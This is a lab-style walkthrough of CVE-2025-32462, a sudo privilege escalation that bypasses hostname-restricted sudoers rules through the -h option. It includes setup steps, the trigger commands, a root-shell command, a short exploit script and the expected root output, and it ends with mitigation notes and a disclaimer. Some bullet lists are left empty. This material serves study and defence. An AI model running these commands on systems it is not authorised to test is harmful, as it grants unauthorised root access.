
CVE-2025-32462 is a local privilege escalation vulnerability in sudo
CVE-2025-32462 is a local privilege escalation vulnerability in sudo that allows a low‑privileged user to execute commands as root by abusing hostname‑restricted sudo rules. The issue lies in how sudo historically handled the -h (host) option during authorization checks.
When a sudoers rule is restricted to a specific hostname, sudo should only permit execution when the system hostname matches the rule. Due to flawed logic, affected versions trusted a user‑supplied hostname via sudo -h, allowing attackers to bypass the restriction entirely.
sudo allowed the -h <hostname> argument to influence authorization decisions. In vulnerable versions, the supplied hostname was trusted during sudoers rule evaluation, instead of strictly validating against the system’s real hostname.
As a result, host‑based sudo restrictions could be bypassed.
If exploited successfully, a local attacker can:
In real‑world environments, this vulnerability is particularly dangerous in:
| Component | Details |
|---|---|
| OS | Debian 11 (Bullseye – unpatched) |
| sudo Version | ≤ 1.9.13 |
| Access Level | Local user |
| Virtualization | VirtualBox |
⚠️ Note: Modern Ubuntu and Debian releases have backported patches while retaining similar version strings. This vulnerability cannot be reproduced on patched systems.
sudo --version
Expected (vulnerable):
Sudo version 1.9.5p2
sudo useradd -m attacker
sudo passwd attacker
groups attacker
Expected:
attacker : attacker
The user must not belong to the sudo group.
Edit sudoers safely:
sudo visudo
Add the following line:
attacker prod-server = (root) ALL
prod-server is a fake hostnameVerify:
sudo -l -U attacker
Expected:
User attacker may run the following commands on prod-server:
(root) ALL
Switch user:
su - attacker
Attempt sudo normally:
sudo id
Expected:
attacker is not allowed to run sudo on <hostname>
Trigger the vulnerability:
sudo -h prod-server id
Successful exploitation output:
uid=0(root) gid=0(root) groups=0(root)
Spawn a root shell:
sudo -h prod-server /bin/bash
Verify:
id
#!/bin/bash
echo "[*] Attempting CVE-2025-32462 exploitation"
sudo -h prod-server id
Save as exploit.sh, make executable, and run as the attacker user:
chmod +x exploit.sh
./exploit.sh
| Action | Result |
|---|---|
| Normal sudo | ❌ Denied |
sudo -h prod-server id | ✅ Root |
This confirms a successful privilege escalation.
Modern Ubuntu releases appear to ship with sudo versions that fall within the affected range. However, Ubuntu has backported the security fix for CVE‑2025‑32462 without changing the upstream version string.
As a result:
sudo -h option no longer influences authorization checksThis highlights the importance of validating vulnerability status using behavioral testing, not version strings alone.
sudo to a patched versionThis walkthrough is for educational and defensive security research purposes only. Do not test this vulnerability on systems you do not own or have explicit permission to assess.